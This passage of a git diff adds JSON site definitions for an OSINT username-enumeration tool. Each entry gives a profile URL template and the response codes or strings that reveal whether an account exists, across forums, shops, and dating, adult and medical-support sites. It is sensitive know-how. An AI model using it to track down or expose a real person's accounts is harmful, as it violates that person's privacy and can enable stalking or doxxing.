"\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "zid.moy.su", + "url": "http://zid.moy.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zillow", + "url": "https://www.zillow.com/profile/{}/", + "category": "shopping", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "match_code": 200, + "match_string": "- Real Estate Agent" + }, + { + "name": "Zismo", + "url": "https://zismo.biz/index.php?app=core&module=search&do=search&andor_type=&search_author={}&search_content=both&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=0&search_app_filters[members][comments][sortKey]=date&search_app_filters[members][comments][sortDir]=0&search_term=&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=1", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432." + }, + { + "name": "Zmarsa.com", + "url": "https://zmarsa.com/uzytkownik/{}/glowna/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "B\u0142\u0105d na stronie", + "match_string": "Galeria u\u017cytkownika" + }, + { + "name": "zmarsa.com", + "url": "https://zmarsa.com/uzytkownik/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "Error 404 - zMarsa.com<", + "match_code": 200, + "match_string": "Statystyki" + }, + { + "name": "Zmey", + "url": "https://zmey.ru/user/@{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Znanija", + "url": "https://znanija.com/graphql/ru?operationName=NickAvailability&query=query NickAvailability($nick:String!){nickAvailability(nick:$nick){isAvailable}}&variables={\"nick\":\"{}\"}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"isAvailable\":true", + "match_code": 200, + "match_string": "\"isAvailable\":false" + }, + { + "name": "Znanylekarz.pl", + "url": "https://www.znanylekarz.pl/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "zoig.com", + "url": "https://zoig.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "zol", + "url": "https://my.zol.com.cn/{}/", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Zomato", + "url": "https://www.zomato.com/pl/{}/foodjourney", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zomato", + "url": "https://www.zomato.com/{}/reviews", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "This is a 404 page and we think it's fairly clear", + "match_code": 200, + "match_string": "Activity</h4>" + }, + { + "name": "Zomato", + "url": "https://www.zomato.com/pl/{}/reviews", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "data-chunk=\"pages-Search\" src=\"" + }, + { + "name": "Zomato", + "url": "https://www.zomato.com/{}/foodjourney", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "404 | Zomato", + "match_code": 200, + "match_string": "| Zomato" + }, + { + "name": "Zonazakona", + "url": "https://www.zonazakona.ru/forum/search/?q={}&quick=1&type=core_members", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 results" + }, + { + "name": "Zoomir.ir", + "url": "https://www.zoomit.ir/user/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "txtSearch", + "match_string": "Email" + }, + { + "name": "zoomitir", + "url": "https://www.zoomit.ir/user/{}/", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>\u062e\u0637\u0627\u06cc \u06f4\u06f0\u06f4 - \u0635\u0641\u062d\u0647 \u06cc\u0627\u0641\u062a \u0646\u0634\u062f", + "match_code": 301 + }, + { + "name": "zornet.ru", + "url": "http://zornet.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "zp-mama.ucoz.ua", + "url": "http://zp-mama.ucoz.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "zvukinadezdy.ucoz.ru", + "url": "http://zvukinadezdy.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.biz", + "url": "{}.biz", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.com", + "url": "{}.com", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.ddns.net", + "url": "{}.ddns.net", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.email", + "url": "{}.email", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.guru", + "url": "{}.guru", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.me", + "url": "{}.me", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.portfoliobox.net", + "url": "https://{}.portfoliobox.net", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.pro", + "url": "{}.pro", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "{username}.tilda.ws", + "url": "https://{}.tilda.ws", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "\u0427\u0430\u0442\u043e\u0432\u043a\u0430.net", + "url": "https://chatovka.net/search?user_nick=+{}&user_sex_m=on&user_sex_f=on", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\u041f\u043e \u0412\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043b\u044e\u0434\u0438 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u044b.", + "match_code": 200, + "match_string": "href=\"/user/" + } + ] +} \ No newline at end of file diff --git a/data/sites/maigret.json b/data/sites/maigret.json new file mode 100644 index 0000000..f801056 --- /dev/null +++ b/data/sites/maigret.json @@ -0,0 +1,35922 @@ +{ + "sites": { + "0-3.RU": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 4046374, + "urlMain": "http://0-3.ru", + "usernameClaimed": "donna", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "101010.pl": { + "checkType": "status_code", + "urlMain": "https://101010.pl/", + "url": "https://101010.pl/@{username}", + "alexaRank": 1500240, + "usernameClaimed": "ueh_kon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "0k.clan.su": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 8930061, + "urlMain": "http://0k.clan.su", + "usernameClaimed": "eruzz", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "discussions.ubisoft.com": { + "tags": [ + "forum", + "gaming" + ], + "checkType": "message", + "presenseStrs": [ + "Block User" + ], + "absenceStrs": [ + "You seem to have stumbled upon a page that does not exist. Return to the" + ], + "url": "https://discussions.ubisoft.com/user/{username}?lang=en-US", + "usernameClaimed": "ubi-pingu", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "1001mem.ru": { + "tags": [ + "ru" + ], + "regexCheck": "^[^.]{1,}$", + "checkType": "message", + "absenceStrs": [ + "\u042d\u0442\u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438\u043b\u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d." + ], + "alexaRank": 1155058, + "urlMain": "http://1001mem.ru", + "url": "http://1001mem.ru/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "1001tracklists": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Info Page" + ], + "absenceStrs": [ + "Sorry, the requested user is not valid!" + ], + "alexaRank": 36590, + "urlMain": "https://www.1001tracklists.com", + "url": "https://www.1001tracklists.com/user/{username}/index.html", + "usernameClaimed": "JacoWilles", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "101xp.com": { + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "XenForo", + "alexaRank": 43529, + "urlMain": "https://forum-ru.101xp.com", + "usernameClaimed": "aida", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "11x2": { + "checkType": "status_code", + "alexaRank": 1429974, + "urlMain": "https://11x2.com", + "url": "https://11x2.com/user/home/{username}", + "usernameClaimed": "hazelamy", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "123rf": { + "tags": [ + "photo", + "ru", + "us" + ], + "checkType": "response_url", + "alexaRank": 1151, + "urlMain": "https://ru.123rf.com", + "url": "https://ru.123rf.com/profile_{username}", + "usernameClaimed": "rawpixel", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "1337x": { + "tags": [ + "torrent" + ], + "checkType": "message", + "absenceStrs": [ + "Bad Username." + ], + "presenseStrs": [ + "Join Date" + ], + "alexaRank": 492, + "urlMain": "https://1337x.to", + "url": "https://1337x.to/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "1xforum": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 1172921, + "urlMain": "https://1xforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "247sports": { + "tags": [ + "news", + "sport" + ], + "checkType": "status_code", + "alexaRank": 2084, + "urlMain": "https://247sports.com", + "url": "https://247sports.com/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "24open": { + "disabled": true, + "tags": [ + "dating", + "ru", + "us" + ], + "checkType": "status_code", + "alexaRank": 50670, + "urlMain": "https://24open.ru", + "url": "https://24open.ru/user/{username}/", + "usernameClaimed": "niko3193", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "2Dimensions": { + "checkType": "status_code", + "alexaRank": 8413056, + "urlMain": "https://2Dimensions.com/", + "url": "https://2Dimensions.com/a/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "2berega.spb.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 1128372, + "urlMain": "https://2berega.spb.ru", + "url": "https://2berega.spb.ru/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "2d-3d": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 455230, + "urlMain": "https://www.2d-3d.ru", + "url": "https://www.2d-3d.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "2fast4u": { + "disabled": true, + "tags": [ + "nl" + ], + "checkType": "message", + "absenceStrs": [ + "Deze gebruiker is niet geregistreerd, zodat je zijn of haar profiel niet kunt bekijken." + ], + "alexaRank": 1325758, + "urlMain": "https://www.2fast4u.be", + "url": "https://www.2fast4u.be/members/?username={username}", + "usernameClaimed": "Schussboelie", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "33bru": { + "tags": [ + "ru", + "ua" + ], + "regexCheck": "^[a-zA-Z0-9-]{3,}$", + "checkType": "message", + "presenseStrs": [ + "\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 1261462, + "urlMain": "http://33bru.com/", + "url": "http://{username}.33bru.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "3DMir.ru": { + "checkType": "message", + "presenseStrs": [ + "
    " + ], + "absenceStrs": [ + "3DMir.ru - " + ], + "urlMain": "http://www.3dmir.ru/", + "url": "http://www.3dmir.ru/{username}", + "usernameClaimed": "imlegr", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 271232 + }, + "3dcadforums": { + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 927437, + "urlMain": "https://www.3dcadforums.com/", + "url": "https://www.3dcadforums.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "3ddd": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 11022, + "urlMain": "https://3ddd.ru", + "url": "https://3ddd.ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "3dnews": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 6223, + "urlMain": "http://forum.3dnews.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "3dtoday": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 70101, + "urlMain": "https://3dtoday.ru/", + "url": "https://3dtoday.ru/blogs/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "4cheat": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 221253, + "urlMain": "https://4cheat.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "4gameforum": { + "tags": [ + "forum", + "kr", + "ru" + ], + "engine": "XenForo", + "alexaRank": 68569, + "urlMain": "https://4gameforum.com", + "usernameClaimed": "persty", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "4pda": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0412\u0430\u0448 \u043f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432." + ], + "alexaRank": 3436, + "urlMain": "https://4pda.ru/", + "url": "https://4pda.ru/forum/index.php?act=search&source=pst&noform=1&username={username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "4stor": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 288919, + "urlMain": "https://4stor.ru", + "url": "https://4stor.ru/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "500px": { + "tags": [ + "photo" + ], + "errors": { + "Something just went wrong": "Site error", + "PersistedQueryNotFound": "Site error" + }, + "urlProbe": "https://api.500px.com/graphql?operationName=ProfileRendererQuery&variables=%7B%22username%22%3A%22{username}%22%7D&extensions=%7B%22persistedQuery%22%3A%7B%22version%22%3A1%2C%22sha256Hash%22%3A%22fcecc7028c308115b0defebc63acec3fe3c12df86a602c3e1785ba5cfb8fff47%22%7D%7D", + "checkType": "message", + "absenceStrs": [ + "No message available" + ], + "alexaRank": 2906, + "urlMain": "https://500px.com/", + "url": "https://500px.com/p/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "50cc.com.ua": { + "engine": "uCoz", + "urlMain": "http://50cc.com.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "63148.com.ua": { + "engine": "uCoz", + "urlMain": "http://63148.com.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "74507.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://74507.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5800731 + }, + "7Cups": { + "tags": [ + "medicine" + ], + "checkType": "status_code", + "alexaRank": 54115, + "urlMain": "https://www.7cups.com/", + "url": "https://www.7cups.com/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "7dach": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 14437, + "urlMain": "https://7dach.ru/", + "url": "https://7dach.ru/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "7ya": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 38054, + "urlMain": "https://blog.7ya.ru", + "url": "https://blog.7ya.ru/{username}/", + "usernameClaimed": "trotter", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "9GAG": { + "tags": [ + "sharing" + ], + "checkType": "status_code", + "alexaRank": 459, + "urlMain": "https://www.9gag.com/", + "url": "https://www.9gag.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AMUR": { + "disabled": true, + "tags": [ + "dating", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + " \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e!" + ], + "urlMain": "https://apteka.ee", + "url": "https://apteka.ee/user/id/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Aback": { + "tags": [ + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + ], + "alexaRank": 8956795, + "urlMain": "https://aback.com.ua", + "url": "https://aback.com.ua/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "About.me": { + "tags": [ + "blog", + "in" + ], + "checkType": "status_code", + "alexaRank": 7577, + "urlMain": "https://about.me/", + "url": "https://about.me/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Aboutcar": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 3417602, + "urlMain": "http://aboutcar.ru", + "url": "http://aboutcar.ru/members/{username}.html", + "usernameClaimed": "krolenya", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Academia.edu": { + "tags": [ + "id" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 349, + "urlMain": "https://www.academia.edu/", + "url": "https://independent.academia.edu/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Acomics": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 148931, + "urlMain": "https://acomics.ru", + "url": "https://acomics.ru/-{username}", + "usernameClaimed": "Garage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AdultFriendFinder": { + "tags": [ + "dating", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "<select name=\"REG_sex\" >" + ], + "alexaRank": 2857, + "urlMain": "https://adultfriendfinder.com", + "url": "https://adultfriendfinder.com/profile/{username}", + "usernameClaimed": "havefunwing", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "AdvancedCustomFields": { + "tags": [ + "au", + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, page not found" + ], + "alexaRank": 7863, + "urlMain": "https://support.advancedcustomfields.com/", + "url": "https://support.advancedcustomfields.com/forums/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Advego": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 10961, + "urlMain": "https://advego.com/", + "url": "https://advego.com/profile/{username}/author/", + "usernameClaimed": "kazakov", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Affiliatefix": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 28014, + "urlMain": "https://www.affiliatefix.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Afterellen": { + "disabled": true, + "tags": [ + "forum", + "pk", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 637223, + "urlMain": "https://forums.afterellen.com", + "url": "https://forums.afterellen.com/members/?username={username}", + "usernameClaimed": "buffaloed", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Airbit": { + "checkType": "status_code", + "url": "https://airbit.com/{username}", + "usernameClaimed": "airbit", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Airliners": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 30355, + "urlMain": "https://www.airliners.net/", + "url": "https://www.airliners.net/user/{username}/profile/photos", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Alabay": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "urlMain": "https://alabay.forum24.ru", + "url": "https://alabay.forum24.ru/?32-{username}", + "usernameClaimed": "asian", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Alexgyver": { + "tags": [ + "de", + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 87631, + "urlMain": "https://community.alexgyver.ru", + "usernameClaimed": "kdn", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "All-mods": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 276845, + "urlMain": "https://all-mods.ru", + "url": "https://all-mods.ru/author/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AllKPop": { + "tags": [ + "de", + "kr", + "us" + ], + "checkType": "response_url", + "alexaRank": 7091, + "urlMain": "https://www.allkpop.com/", + "url": "https://www.allkpop.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AllRecipes": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Page Not Found.", + "You may have mistyped the address, or the page may have moved." + ], + "presenseStrs": [ + "Saved Items & Collections", + "{username}" + ], + "alexaRank": 983, + "urlMain": "https://www.allrecipes.com/", + "url": "https://www.allrecipes.com/cook/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AllTheLyrics": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "music" + ], + "engine": "vBulletin", + "alexaRank": 92241, + "urlMain": "https://www.allthelyrics.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AllTheSoft": { + "disabled": true, + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 1761461, + "urlMain": "http://www.allthesoft.com", + "url": "http://www.allthesoft.com/member/{username}.html", + "usernameClaimed": "marmon4270", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AllTrails": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "presenseStrs": [ + "Profile" + ], + "absenceStrs": [ + "You are being" + ], + "alexaRank": 4429, + "urlMain": "https://www.alltrails.com/", + "url": "https://www.alltrails.com/members/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Allhockey": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 43048, + "urlMain": "https://allhockey.ru/", + "url": "https://allhockey.ru/blog/{username}", + "usernameClaimed": "Dmitri%20Nikulin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Allods": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://allods.mail.ru", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "AlternativeTo": { + "tags": [ + "in", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "<title>404: This page could not be found" + ], + "alexaRank": 6524, + "urlMain": "https://alternativeto.net/", + "url": "https://alternativeto.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Alushta24": { + "tags": [ + "ru", + "ua" + ], + "checkType": "response_url", + "alexaRank": 2013642, + "urlMain": "https://alushta24.org", + "url": "https://alushta24.org/user/{username}/", + "usernameClaimed": "Igor11324", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AmazfitWatchFaces": { + "urlSubpath": "/forum", + "tags": [ + "ae", + "es", + "forum", + "gr", + "id", + "ir", + "ru" + ], + "engine": "phpBB", + "alexaRank": 139768, + "urlMain": "https://amazfitwatchfaces.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ameba": { + "tags": [ + "jp" + ], + "checkType": "status_code", + "alexaRank": 1112, + "urlMain": "https://profile.ameba.jp", + "url": "https://profile.ameba.jp/ameba/{username}/", + "usernameClaimed": "haruharuko3", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Americanthinker": { + "checkType": "message", + "absenceStrs": [ + "American Thinker" + ], + "presenseStrs": [ + "Articles:" + ], + "urlMain": "https://www.americanthinker.com/", + "url": "https://www.americanthinker.com/author/{username}/", + "usernameClaimed": "monicashowalter", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 11394 + }, + "Amirite": { + "disabled": true, + "tags": [ + "gb", + "in" + ], + "checkType": "status_code", + "alexaRank": 795752, + "urlMain": "https://www.amirite.com", + "url": "https://www.amirite.com/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Amperka": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 126531, + "urlMain": "http://forum.amperka.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Amspb": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 8462543, + "urlMain": "https://amspb.info", + "usernameClaimed": "SSV", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anapakurort": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0442\u0430\u043a\u043e\u0433\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430 \u0444\u043e\u0440\u0443\u043c\u0430 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 3260857, + "urlMain": "http://www.anapakurort.info", + "url": "http://www.anapakurort.info/forum/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anarcho-punk": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 2863384, + "urlMain": "https://www.anarcho-punk.net/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Androidforums": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 52260, + "urlMain": "https://androidforums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Angara": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 516377, + "urlMain": "https://angara.net", + "url": "https://angara.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Angelgothics": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 7446429, + "urlMain": "http://angelgothics.ru", + "usernameClaimed": "Angel", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anibox": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 